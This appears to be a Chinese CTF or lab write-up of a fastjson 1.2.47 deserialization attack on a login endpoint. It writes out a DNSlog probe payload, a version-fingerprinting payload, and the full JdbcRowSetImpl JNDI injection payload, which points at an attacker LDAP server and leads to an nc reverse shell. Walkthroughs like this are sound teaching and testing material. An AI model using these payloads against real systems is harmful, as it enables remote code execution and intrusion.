Skip to content

Latest commit

 

History

History
65 lines (43 loc) · 2.17 KB

writeup.md

File metadata and controls

65 lines (43 loc) · 2.17 KB

进入首页,点击登录,

img

在登录处抓包,发现为json格式传入参数:

img

删个末尾的}(也可以加个"),看报错,很标准的fastjson错误提示,确定后端使用的fastjson

img

dnslog测试是否存在漏洞:

{
  "@type":"java.net.Inet4Address",
  "val":"zqs9do.dnslog.cn"
}

img

收到请求,存在漏洞。

img

探测fastjson精确版本:

{
  "@type": "java.lang.AutoCloseable"

通过报错,发现版本为1.2.47,很经典的版本漏洞,利用mappings缓存机制,JdbcRowSetImpl打jndi,但前提是需要机器出网。

关于这种方式探测fastjosn版本,条件是需要response中会回显报错信息,但实际环境可能存在不回显的情况,那就需要利用其他手段了,如dnslog、ddos等间接判断,比较麻烦,可以看之前的文章。

img

利用jndi注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all

使用nc反弹shell,bash反弹是不能成功的,因为没有。

img

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.30.0.84:1389/wwsebk",
        "autoCommit":true
    }
}

接收到shell

img

4.